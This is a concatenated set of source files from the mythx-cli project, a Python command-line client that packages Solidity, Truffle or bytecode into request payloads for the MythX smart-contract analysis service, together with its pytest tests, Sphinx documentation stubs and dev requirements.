ctx[\"client\"].handler.middlewares.append(group_mw)\n\n jobs: List[Dict[str, Any]] = []\n include = list(include)\n\n if not target:\n if Path(\"truffle-config.js\").exists() or Path(\"truffle.js\").exists():\n files = find_truffle_artifacts(Path.cwd())\n if not files:\n raise click.exceptions.UsageError(\n (\n \"Could not find any truffle artifacts. Are you in the project root? \"\n \"Did you run truffle compile?\"\n )\n )\n LOGGER.debug(f\"Detected Truffle project with files:{', '.join(files)}\")\n for file in files:\n jobs.append(generate_truffle_payload(file))\n\n elif list(glob(\"*.sol\")):\n LOGGER.debug(f\"Detected Solidity files in directory\")\n jobs = walk_solidity_files(\n ctx=ctx, solc_version=solc_version, remappings=remap_import\n )\n else:\n raise click.exceptions.UsageError(\n \"No argument given and unable to detect Truffle project or Solidity files\"\n )\n else:\n for target_elem in target:\n target_split = target_elem.split(\":\")\n element, suffix = target_split[0], target_split[1:]\n include += suffix\n if element.startswith(\"0x\"):\n LOGGER.debug(f\"Identified target {element} as bytecode\")\n jobs.append(generate_bytecode_payload(element))\n elif Path(element).is_file() and Path(element).suffix == \".sol\":\n LOGGER.debug(f\"Trying to interpret {element} as a solidity file\")\n jobs.append(\n generate_solidity_payload(\n file=element,\n version=solc_version,\n contracts=suffix,\n remappings=remap_import,\n )\n )\n elif Path(element).is_dir():\n LOGGER.debug(f\"Identified target {element} as directory\")\n files = find_truffle_artifacts(Path(element))\n if files:\n # extract truffle artifacts if config found in target\n LOGGER.debug(f\"Identified {element} directory as truffle project\")\n jobs.extend([generate_truffle_payload(file) for file in files])\n else:\n # recursively enumerate sol files if not a truffle project\n LOGGER.debug(\n f\"Identified {element} as directory containing Solidity files\"\n )\n jobs.extend(\n walk_solidity_files(\n ctx,\n solc_version,\n base_path=element,\n remappings=remap_import,\n )\n )\n else:\n raise click.exceptions.UsageError(\n f\"Could not interpret argument {element} as bytecode, Solidity file, or Truffle project\"\n )\n\n # sanitize local paths\n LOGGER.debug(f\"Sanitizing {len(jobs)} jobs\")\n jobs = [sanitize_paths(job) for job in jobs]\n # filter jobs where no bytecode was produced\n LOGGER.debug(f\"Filtering {len(jobs)} jobs for empty bytecode\")\n jobs = [job for job in jobs if is_valid_job(job)]\n\n # reduce to whitelisted contract names\n if include:\n LOGGER.debug(f\"Filtering {len(jobs)} for contracts to be included\")\n found_contracts = {job[\"contract_name\"] for job in jobs}\n overlap = set(include).difference(found_contracts)\n if overlap:\n raise click.UsageError(\n f\"The following contracts could not be found: {', '.join(overlap)}\"\n )\n jobs = [job for job in jobs if job[\"contract_name\"] in include]\n\n LOGGER.debug(f\"Submitting {len(jobs)} analysis jobs to the MythX API\")\n uuids = []\n with click.progressbar(jobs) as bar:\n for job in bar:\n # attach execution mode, submit, poll\n job.update({\"analysis_mode\": mode})\n resp = ctx[\"client\"].analyze(**job)\n uuids.append(resp.uuid)\n\n if async_flag:\n LOGGER.debug(\n f\"Asynchronous submission enabled - printing {len(uuids)} UUIDs and exiting\"\n )\n write_or_print(\"\\n\".join(uuids))\n return\n\n issues_list: List[\n Tuple[DetectedIssuesResponse, Optional[AnalysisInputResponse]]\n ] = []\n formatter: BaseFormatter = FORMAT_RESOLVER[ctx[\"fmt\"]]\n for uuid in uuids:\n while not ctx[\"client\"].analysis_ready(uuid):\n # TODO: Add poll interval option\n LOGGER.debug(f\"Analysis {uuid} not ready yet - waiting\")\n time.sleep(3)\n LOGGER.debug(f\"{uuid}: Fetching report\")\n resp: DetectedIssuesResponse = ctx[\"client\"].report(uuid)\n LOGGER.debug(f\"{uuid}: Fetching input\")\n inp: Optional[AnalysisInputResponse] = ctx[\"client\"].request_by_uuid(\n uuid\n ) if formatter.report_requires_input else None\n\n LOGGER.debug(f\"{uuid}: Applying SWC filters\")\n util.filter_report(\n resp,\n min_severity=min_severity,\n swc_blacklist=swc_blacklist,\n swc_whitelist=swc_whitelist,\n )\n # extend response with job UUID to keep formatter logic isolated\n resp.uuid = uuid\n issues_list.append((resp, inp))\n\n LOGGER.debug(f\"Printing report for {len(issues_list)} issue items\")\n write_or_print(formatter.format_detected_issues(issues_list))\n sys.exit(ctx[\"retval\"])\n" }, { "alpha_fraction": 0.5439726114273071, "alphanum_fraction": 0.5520896315574646, "avg_line_length": 29.863353729248047, "blob_id": "966611e82931a6576ed6f2b058d0745a26a839f4", "content_id": "4c6951012554908d8c62ab905ade7636dda7bdb7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14907, "license_type": "permissive", "max_line_length": 119, "num_lines": 483, "path": "/tests/test_analyze.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "import json\nimport os\nfrom copy import deepcopy\n\nimport pytest\nfrom click.testing import CliRunner\nfrom mythx_models.response import (\n AnalysisInputResponse,\n AnalysisSubmissionResponse,\n DetectedIssuesResponse,\n Severity,\n)\n\nfrom mythx_cli.cli import cli\n\nfrom .common import get_test_case, mock_context\n\nFORMAT_ERROR = (\n \"Could not interpret argument lolwut as bytecode, Solidity file, or Truffle project\"\n)\nSUBMISSION_RESPONSE = get_test_case(\n \"testdata/analysis-submission-response.json\", AnalysisSubmissionResponse\n)\nISSUES_RESPONSE = get_test_case(\n \"testdata/detected-issues-response.json\", DetectedIssuesResponse\n)\nINPUT_RESPONSE = get_test_case(\n \"testdata/analysis-input-response.json\", AnalysisInputResponse\n)\nISSUES_TABLE = get_test_case(\"testdata/detected-issues-table.txt\", raw=True)\nSOLIDITY_CODE = \"\"\"pragma solidity 0.4.13;\n\ncontract OutdatedCompilerVersion {\n uint public x = 1;\n}\n\"\"\"\nVERSION_ERROR = (\n \"Error: Error installing solc version v9001: Invalid version string: '9001'\"\n)\nPRAGMA_ERROR = \"No pragma found - please specify a solc version with --solc-version\"\nEMPTY_PROJECT_ERROR = \"Could not find any truffle artifacts. Are you in the project root? Did you run truffle compile?\"\nTRUFFLE_ARTIFACT = get_test_case(\"testdata/truffle-artifact.json\")\n\n\ndef setup_solidity_test():\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n\ndef setup_truffle_test():\n with open(\"truffle-config.js\", \"w+\") as conf_f:\n conf_f.write(\"Truffle config stuff\")\n\n os.makedirs(\"build/contracts\")\n with open(\"build/contracts/foo.json\", \"w+\") as artifact_f:\n json.dump(TRUFFLE_ARTIFACT, artifact_f)\n\n\[email protected](\n \"mode,params,value,contained,retval\",\n (\n pytest.param(\n \"bytecode\",\n [\"--output\", \"test.log\", \"analyze\", \"0xfe\"],\n INPUT_RESPONSE.source_list[0],\n True,\n 0,\n id=\"bytecode output file\",\n ),\n pytest.param(\n \"bytecode\",\n [\"analyze\", \"0xfe\"],\n INPUT_RESPONSE.source_list[0],\n True,\n 0,\n id=\"bytecode analyze param\",\n ),\n pytest.param(\n \"bytecode\",\n [\"analyze\", \"--create-group\", \"0xfe\"],\n INPUT_RESPONSE.source_list[0],\n True,\n 0,\n id=\"bytecode create group\",\n ),\n pytest.param(\n \"bytecode\",\n [\"analyze\", \"--swc-blacklist\", \"SWC-110\", \"0xfe\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"bytecode blacklist 110\",\n ),\n pytest.param(\n \"bytecode\",\n [\"analyze\", \"--min-severity\", \"high\", \"0xfe\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"bytecode high sev filter\",\n ),\n pytest.param(\n \"bytecode\",\n [\"analyze\", \"lolwut\"],\n FORMAT_ERROR,\n True,\n 2,\n id=\"bytecode invalid analyze\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--async\"],\n SUBMISSION_RESPONSE.analysis.uuid,\n True,\n 0,\n id=\"solidity analyze async\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"solidity issue table no params\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--swc-blacklist\", \"SWC-110\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"solidity blacklist 110\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--min-severity\", \"high\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"solidity high sev filter\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"outdated.sol\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"solidity issue table file param\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--create-group\", \"outdated.sol\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"solidity create group\",\n ),\n pytest.param(\n \"solidity\", [\"analyze\", \".\"], ISSUES_TABLE, True, 0, id=\"solidity cwd\"\n ),\n pytest.param(\n \"solidity\",\n [\"--output\", \"test.log\", \"analyze\", \"outdated.sol\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"solidity output file\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--include\", \"invalid\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 2,\n id=\"solidity invalid include\",\n ),\n pytest.param(\n \"solidity\",\n [\"analyze\", \"--solc-version\", \"9001\", \"outdated.sol\"],\n VERSION_ERROR,\n True,\n 2,\n id=\"solidity invalid solc version\",\n ),\n pytest.param(\n \"truffle\",\n [\"analyze\", \"--async\"],\n SUBMISSION_RESPONSE.analysis.uuid,\n True,\n 0,\n id=\"truffle async\",\n ),\n pytest.param(\n \"truffle\",\n [\"--output\", \"test.log\", \"analyze\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"truffle output file\",\n ),\n pytest.param(\n \"truffle\", [\"analyze\"], ISSUES_TABLE, True, 0, id=\"truffle issue table\"\n ),\n pytest.param(\n \"truffle\",\n [\"analyze\", \"--create-group\"],\n ISSUES_TABLE,\n True,\n 0,\n id=\"truffle create group\",\n ),\n pytest.param(\n \"truffle\",\n [\"analyze\", \"--include\", \"invalid\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 2,\n id=\"truffle invalid include\",\n ),\n pytest.param(\n \"truffle\",\n [\"analyze\", \"--swc-blacklist\", \"SWC-110\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"truffle blacklist 110\",\n ),\n pytest.param(\n \"truffle\",\n [\"analyze\", \"--min-severity\", \"high\"],\n INPUT_RESPONSE.source_list[0],\n False,\n 0,\n id=\"truffle high sev filter\",\n ),\n ),\n)\ndef test_bytecode_analyze(mode, params, value, contained, retval):\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n if mode == \"solidity\":\n setup_solidity_test()\n elif mode == \"truffle\":\n setup_truffle_test()\n result = runner.invoke(cli, params, input=\"y\\n\")\n\n if \"--output\" in params:\n with open(\"test.log\") as f:\n output = f.read()\n else:\n output = result.output\n\n if contained:\n assert value in output\n else:\n assert value not in output\n\n assert result.exit_code == retval\n\n\ndef test_exit_on_missing_consent():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n setup_solidity_test()\n result = runner.invoke(cli, [\"analyze\"], input=\"n\\n\")\n\n assert (\n result.output\n == \"Found 1 Solidity file(s) before filtering. Continue? [y/N]: n\\n\"\n )\n assert result.exit_code == 0\n\n\ndef test_bytecode_analyze_ci():\n runner = CliRunner()\n with mock_context() as patches:\n # set up high-severity issue\n issues_resp = deepcopy(ISSUES_RESPONSE)\n issues_resp.issue_reports[0].issues[0].severity = Severity.HIGH\n patches[2].return_value = issues_resp\n\n result = runner.invoke(cli, [\"--ci\", \"analyze\", \"0xfe\"])\n\n assert INPUT_RESPONSE.source_list[0] in result.output\n assert result.exit_code == 1\n\n\ndef test_bytecode_analyze_invalid():\n runner = CliRunner()\n with mock_context():\n result = runner.invoke(cli, [\"analyze\", \"lolwut\"])\n\n assert FORMAT_ERROR in result.output\n assert result.exit_code == 2\n\n\ndef test_solidity_analyze_blocking_ci():\n runner = CliRunner()\n with mock_context() as patches:\n # set up high-severity issue\n issues_resp = deepcopy(ISSUES_RESPONSE)\n issues_resp.issue_reports[0].issues[0].severity = Severity.HIGH\n patches[2].return_value = issues_resp\n\n with runner.isolated_filesystem():\n # initialize sample solidity file\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n result = runner.invoke(cli, [\"--ci\", \"analyze\"], input=\"y\\n\")\n\n assert \"Assert Violation\" in result.output\n assert INPUT_RESPONSE.source_list[0] in result.output\n assert result.exit_code == 1\n\n\ndef test_solidity_analyze_multiple_with_group():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n with open(\"outdated2.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n result = runner.invoke(\n cli,\n [\"--debug\", \"analyze\", \"--create-group\", \"outdated.sol\", \"outdated2.sol\"],\n )\n assert result.output == ISSUES_TABLE + ISSUES_TABLE\n assert result.exit_code == 0\n\n\ndef test_solidity_analyze_multiple_with_config_group():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n with open(\"outdated2.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n with open(\".mythx.yml\", \"w+\") as conf_f:\n conf_f.write(\"analyze:\\n create-group: true\\n\")\n\n result = runner.invoke(\n cli, [\"--debug\", \"analyze\", \"outdated.sol\", \"outdated2.sol\"]\n )\n assert result.output == ISSUES_TABLE + ISSUES_TABLE\n assert result.exit_code == 0\n\n\ndef test_solidity_analyze_recursive_blacklist():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.write(SOLIDITY_CODE)\n\n os.mkdir(\"./node_modules\")\n with open(\"./node_modules/outdated2.sol\", \"w+\") as conf_f:\n # should be ignored\n conf_f.write(SOLIDITY_CODE)\n\n result = runner.invoke(\n cli, [\"--debug\", \"--yes\", \"analyze\", \"--create-group\", \".\"]\n )\n assert result.output == ISSUES_TABLE\n assert result.exit_code == 0\n\n\ndef test_solidity_analyze_missing_version():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file without pragma line\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.writelines(SOLIDITY_CODE.split(\"\\n\")[1:])\n\n result = runner.invoke(cli, [\"analyze\", \"outdated.sol\"])\n\n assert PRAGMA_ERROR in result.output\n assert result.exit_code == 2\n\n\ndef test_solidity_analyze_user_solc_version():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file without pragma line\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.writelines(SOLIDITY_CODE.split(\"\\n\")[1:])\n\n result = runner.invoke(\n cli, [\"analyze\", \"--solc-version\", \"0.4.13\", \"outdated.sol\"]\n )\n\n assert result.output == ISSUES_TABLE\n assert result.exit_code == 0\n\n\ndef test_solidity_analyze_config_solc_version():\n runner = CliRunner()\n with mock_context(), runner.isolated_filesystem():\n # initialize sample solidity file without pragma line\n with open(\"outdated.sol\", \"w+\") as conf_f:\n conf_f.writelines(SOLIDITY_CODE.split(\"\\n\")[1:])\n\n with open(\".mythx.yml\", \"w+\") as conf_f:\n conf_f.write(\"analyze:\\n solc: 0.4.13\\n\")\n\n result = runner.invoke(cli, [\"analyze\", \"outdated.sol\"])\n\n assert result.output == ISSUES_TABLE\n assert result.exit_code == 0\n\n\ndef test_truffle_analyze_blocking_ci():\n runner = CliRunner()\n with mock_context() as patches, runner.isolated_filesystem():\n # set up high-severity issue\n issues_resp = deepcopy(ISSUES_RESPONSE)\n issues_resp.issue_reports[0].issues[0].severity = Severity.HIGH\n patches[2].return_value = issues_resp\n\n # create truffle-config.js\n with open(\"truffle-config.js\", \"w+\") as conf_f:\n # we just need the file to be present\n conf_f.write(\"Truffle config stuff\")\n\n # create build/contracts/ JSON files\n os.makedirs(\"build/contracts\")\n with open(\"build/contracts/foo.json\", \"w+\") as artifact_f:\n json.dump(TRUFFLE_ARTIFACT, artifact_f)\n\n result = runner.invoke(cli, [\"--debug\", \"--ci\", \"analyze\"])\n\n assert \"Assert Violation\" in result.output\n assert INPUT_RESPONSE.source_list[0] in result.output\n assert result.exit_code == 1\n\n\ndef test_truffle_analyze_no_files():\n runner = CliRunner()\n\n with runner.isolated_filesystem():\n # create truffle-config.js\n with open(\"truffle-config.js\", \"w+\") as conf_f:\n # we just need the file to be present\n conf_f.write(\"Truffle config stuff\")\n\n result = runner.invoke(cli, [\"analyze\"])\n\n assert EMPTY_PROJECT_ERROR in result.output\n assert result.exit_code == 2\n\n\ndef test_truffle_analyze_blocking_config_ci():\n runner = CliRunner()\n with mock_context() as patches, runner.isolated_filesystem():\n # set up high-severity issue\n issues_resp = deepcopy(ISSUES_RESPONSE)\n issues_resp.issue_reports[0].issues[0].severity = Severity.HIGH\n patches[2].return_value = issues_resp\n\n # create truffle-config.js\n with open(\"truffle-config.js\", \"w+\") as conf_f:\n # we just need the file to be present\n conf_f.write(\"Truffle config stuff\")\n\n with open(\".mythx.yml\", \"w+\") as conf_f:\n conf_f.write(\"ci: true\\n\")\n\n # create build/contracts/ JSON files\n os.makedirs(\"build/contracts\")\n with open(\"build/contracts/foo.json\", \"w+\") as artifact_f:\n json.dump(TRUFFLE_ARTIFACT, artifact_f)\n\n result = runner.invoke(cli, [\"--debug\", \"analyze\"])\n\n assert \"Assert Violation\" in result.output\n assert INPUT_RESPONSE.source_list[0] in result.output\n assert result.exit_code == 1\n" }, { "alpha_fraction": 0.5301645398139954, "alphanum_fraction": 0.5301645398139954, "avg_line_length": 19.259260177612305, "blob_id": "4eb3c55067065e0215079c64f4a68b14b987db1f", "content_id": "ffa89793119df9e8844ea7be949bda35e34e6a6e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 547, "license_type": "permissive", "max_line_length": 42, "num_lines": 27, "path": "/docs/mythx_cli.payload.rst", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "===========================\nmythx_cli.payload package\n===========================\n\nmythx_cli.payload.bytecode\n--------------------------\n\n.. automodule:: mythx_cli.payload.bytecode\n :members:\n :undoc-members:\n :show-inheritance:\n\nmythx_cli.payload.solidity\n--------------------------\n\n.. automodule:: mythx_cli.payload.solidity\n :members:\n :undoc-members:\n :show-inheritance:\n\nmythx_cli.payload.truffle\n-------------------------\n\n.. automodule:: mythx_cli.payload.truffle\n :members:\n :undoc-members:\n :show-inheritance:\n" }, { "alpha_fraction": 0.7061144113540649, "alphanum_fraction": 0.7061144113540649, "avg_line_length": 20.125, "blob_id": "e688aa2b3f9955f288ffff052e6b15729b319459", "content_id": "0f30b55f406754a9f3ce1840c60980f22b329190", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 507, "license_type": "permissive", "max_line_length": 68, "num_lines": 24, "path": "/mythx_cli/version/command.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "import logging\n\nimport click\n\nfrom mythx_cli.formatter import FORMAT_RESOLVER\nfrom mythx_cli.util import write_or_print\n\nLOGGER = logging.getLogger(\"mythx-cli\")\n\n\[email protected]()\[email protected]_obj\ndef version(ctx) -> None:\n \"\"\"Display API version information.\n\n \\f\n\n :param ctx: Click context holding group-level parameters\n :return:\n \"\"\"\n\n LOGGER.debug(\"Fetching version information\")\n resp = ctx[\"client\"].version()\n write_or_print(FORMAT_RESOLVER[ctx[\"fmt\"]].format_version(resp))\n" }, { "alpha_fraction": 0.6243830323219299, "alphanum_fraction": 0.6253702044487, "avg_line_length": 32.21311569213867, "blob_id": "9f4ae28e0466a9a4d4035cbc0c323b06c6f9235c", "content_id": "3297aec408ba71669955fe96d1114465baec229c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2026, "license_type": "permissive", "max_line_length": 85, "num_lines": 61, "path": "/mythx_cli/payload/truffle.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains functions to generate payloads for Truffle projects.\"\"\"\n\nimport json\nimport logging\nfrom typing import Any, Dict\n\nfrom mythx_cli.payload.util import patch_truffle_bytecode, set_srcmap_indices\n\nLOGGER = logging.getLogger(\"mythx-cli\")\n\n\ndef generate_truffle_payload(file: str) -> Dict[str, Any]:\n \"\"\"Generate a MythX analysis request payload based on a truffle build\n artifact.\n\n This will send the following artifact entries to MythX for analysis:\n\n * :code:`contractName`\n * :code:`bytecode`\n * :code:`deployedBytecode`\n * :code:`sourceMap`\n * :code:`deployedSourceMap`\n * :code:`sourcePath`\n * :code:`source`\n * :code:`ast`\n * :code:`legacyAST`\n * the compiler version\n\n :param file: The path to the Truffle build artifact\n :return: The payload dictionary to be sent to MythX\n \"\"\"\n\n with open(file) as af:\n artifact = json.load(af)\n LOGGER.debug(f\"Loaded Truffle artifact with {len(artifact)} keys\")\n\n return {\n \"contract_name\": artifact.get(\"contractName\"),\n \"bytecode\": patch_truffle_bytecode(artifact.get(\"bytecode\"))\n if artifact.get(\"bytecode\") != \"0x\"\n else None,\n \"deployed_bytecode\": patch_truffle_bytecode(artifact.get(\"deployedBytecode\"))\n if artifact.get(\"deployedBytecode\") != \"0x\"\n else None,\n \"source_map\": set_srcmap_indices(artifact.get(\"sourceMap\"))\n if artifact.get(\"sourceMap\")\n else None,\n \"deployed_source_map\": set_srcmap_indices(artifact.get(\"deployedSourceMap\"))\n if artifact.get(\"deployedSourceMap\")\n else None,\n \"sources\": {\n artifact.get(\"sourcePath\"): {\n \"source\": artifact.get(\"source\"),\n \"ast\": artifact.get(\"ast\"),\n \"legacyAST\": artifact.get(\"legacyAST\"),\n }\n },\n \"source_list\": [artifact.get(\"sourcePath\")],\n \"main_source\": artifact.get(\"sourcePath\"),\n \"solc_version\": artifact[\"compiler\"][\"version\"],\n }\n" }, { "alpha_fraction": 0.7723076939582825, "alphanum_fraction": 0.7723076939582825, "avg_line_length": 28.545454025268555, "blob_id": "cae84ccd3b1d5265fe8ace9ae85168669e5df355", "content_id": "6bbe9b25ec310fb6f9e2f9f6fd9b7edefea32128", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "permissive", "max_line_length": 74, "num_lines": 11, "path": "/mythx_cli/payload/__init__.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains helpers for generating MythX analysis payloads.\"\"\"\n\nfrom .bytecode import generate_bytecode_payload\nfrom .solidity import generate_solidity_payload\nfrom .truffle import generate_truffle_payload\n\n__all__ = [\n generate_solidity_payload,\n generate_truffle_payload,\n generate_bytecode_payload,\n]\n" }, { "alpha_fraction": 0.5021276473999023, "alphanum_fraction": 0.6851063966751099, "avg_line_length": 12.823529243469238, "blob_id": "bd0a2427bc9c0f0f44cb56c963446492c0e01a61", "content_id": "f945756049c02cb4a7015b628834d2746e2dc591", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 235, "license_type": "permissive", "max_line_length": 23, "num_lines": 17, "path": "/requirements_dev.txt", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "-r requirements.txt\n\nbumpversion==0.5.3\ncoverage==5.0.4\ncoveralls==1.11.1\ntox==3.14.6\n\nsphinx==2.4.4\nsphinx_rtd_theme==0.4.3\nwatchdog==0.10.2\ntwine==3.1.1\n\nblack==19.3b0\nisort==4.3.21\npytest==5.4.1\npytest-runner==5.2\npytest-cov==2.8.1\n" } ]
18
CHC278Cao/trivial
https://github.com/CHC278Cao/trivial
2a765124d90fc3476cfc7360df1793b5b4b548b9
981fa936934102eca1860800d668f23d66d4a8a2
7fb0f92dda4f42dfd95f1bf727a0c2a6895b4324
refs/heads/master
2021-02-13T13:03:45.285776
2020-04-06T17:42:59
2020-04-06T17:42:59
244,698,615
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5432150363922119, "alphanum_fraction": 0.5569937229156494, "avg_line_length": 29.576923370361328, "blob_id": "9b85285ee6e8a7a60f693006b8ccf47dc69f2d26", "content_id": "69c4da56ed63b4a05678bfd0714893e0a097fac2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2395, "license_type": "no_license", "max_line_length": 87, "num_lines": 78, "path": "/code/entityModel.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport pdb\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.utils.data import Dataset\n\nclass EmbedModel(nn.Module):\n def __init__(self, emb_size_dict, output_size, emb_dropout, dropout, device):\n super(EmbedModel, self).__init__()\n\n self.device = device\n self.emb_layers = nn.ModuleList([nn.Embedding(x, y) for x, y in emb_size_dict])\n num_of_embs = sum([y for _, y in emb_size_dict])\n\n self.emb_dropout = nn.Dropout(emb_dropout)\n self.linear1 = nn.Linear(num_of_embs, 200)\n self.batchNorm1 = nn.BatchNorm1d(200)\n\n self.linear2 = nn.Linear(200, 200)\n self.batchNorm2 = nn.BatchNorm1d(200)\n\n self.linear3 = nn.Linear(200, output_size)\n self.dropout = nn.Dropout(dropout)\n self.activation = nn.ReLU()\n\n def forward(self, inputs):\n emb_input = []\n\n for idx, embedding in enumerate(self.emb_layers):\n x = embedding(inputs[:, idx])\n x = self.emb_dropout(x)\n emb_input.append(x)\n pdb.set_trace()\n emb_input = torch.cat(emb_input, dim=1)\n out = self.batchNorm1(self.linear1(emb_input))\n out = self.dropout(self.activation(out))\n out = self.batchNorm2(self.linear2(out))\n out = self.dropout(self.activation(out))\n out = self.linear3(out)\n out = torch.softmax(out, dim=1)\n\n return out\n\n # def _init_weight(self):\n # for m in self.modules():\n # for param in m.parameters():\n # if len(param) >= 2:\n # torch.nn.init.kaiming_normal_(param.data)\n # else:\n # torch.nn.init.normal_(param.data)\n\n\nclass entityDataset(Dataset):\n def __init__(self, data, targets = None):\n super(entityDataset, self).__init__()\n self.data = data\n self.targets = targets\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n\n data = self.data.iloc[idx, :]\n # pdb.set_trace()\n if self.targets is not None:\n target = self.targets.iloc[idx]\n return {\n 'data': torch.tensor(data, dtype=torch.long),\n 'targets': torch.tensor(target, dtype=torch.long)\n }\n\n else:\n return {\n 'data': torch.tensor(data, dtype=torch.long)\n }\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.577328622341156, "alphanum_fraction": 0.5925600528717041, "avg_line_length": 32.47058868408203, "blob_id": "fbcb19382326f24e72c08ba53a4ee10909299869", "content_id": "24c90c00a1382d293ce85179b7b3be9ac6fdeb03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6828, "license_type": "no_license", "max_line_length": 103, "num_lines": 204, "path": "/cv_trivial/run.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport pdb\nimport time\nimport warnings\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nfrom torchsummaryX import summary\n\nfrom res34Net import Resnet34_classification, load_pretained_weights\nfrom dataset import ImgDataset\nfrom res34Unet import res34Unet\nfrom metrics import DiceBCELoss\nfrom meter import Meter\n\nwarnings.filterwarnings('ignore')\n\n\ndef train_epoch(model, data_loader, optimizer, device, meter, schedule = None):\n model.train()\n running_loss = 0.0\n\n for batch_idx, data in enumerate(data_loader):\n optimizer.zero_grad()\n inputs = data[\"img\"].to(device)\n labels = data[\"label\"].to(device)\n targets = data[\"mask\"].to(device)\n\n inputs = inputs.permute(0, 3, 1, 2)\n targets = targets.permute(0, 3, 1, 2).contiguous()\n cls_out, seg_out = model(inputs)\n cls_loss = F.binary_cross_entropy(torch.sigmoid(cls_out.squeeze()), labels, reduction = \"mean\")\n seg_loss = DiceBCELoss(torch.sigmoid(seg_out), targets)\n loss = cls_loss + seg_loss\n loss.backward()\n running_loss += loss.item()\n meter.update(seg_out.detach().cpu(), targets.detach().cpu())\n optimizer.step()\n if schedule is not None:\n schedule.step()\n\n if (batch_idx % 100) == 99:\n print(\"batch_idx = {}, Loss = {}\".format(batch_idx+1, loss.item()))\n\n del data\n\n return running_loss / len(data_loader)\n\n\ndef valid_epoch(model, data_loader, device, meter):\n model.eval()\n running_loss = 0.0\n\n with torch.no_grad():\n for batch_idx, data in enumerate(data_loader):\n inputs = data[\"img\"].to(device)\n labels = data[\"label\"].to(device)\n targets = data[\"mask\"].to(device)\n\n inputs = inputs.permute(0, 3, 1, 2)\n targets = targets.permute(0, 3, 1, 2).contiguous()\n cls_out, seg_out = model(inputs)\n cls_loss = F.binary_cross_entropy(cls_out.squeeze(), labels, reduction = \"mean\")\n seg_loss = DiceBCELoss(torch.sigmoid(seg_out), targets)\n loss = cls_loss + seg_loss\n running_loss += loss.item()\n meter.update(targets.detach().cpu(), seg_out.detach().cpu())\n\n del data\n\n return running_loss / len(data_loader)\n\n\ndef detect_img(data_loader):\n pdb.set_trace()\n\n row = 10\n col = 2\n plt.figure(figsize=(80, 100))\n for idx, data in enumerate(data_loader):\n # pdb.set_trace()\n if idx >= row:\n break\n print(data[\"label\"])\n plt.subplot(row, col, 2*idx+1)\n img = np.squeeze(data[\"img\"].numpy())\n plt.imshow(img, cmap=\"gray\")\n plt.subplot(row, col, 2*idx+2)\n new_img = np.squeeze(data[\"new_img\"].numpy())\n 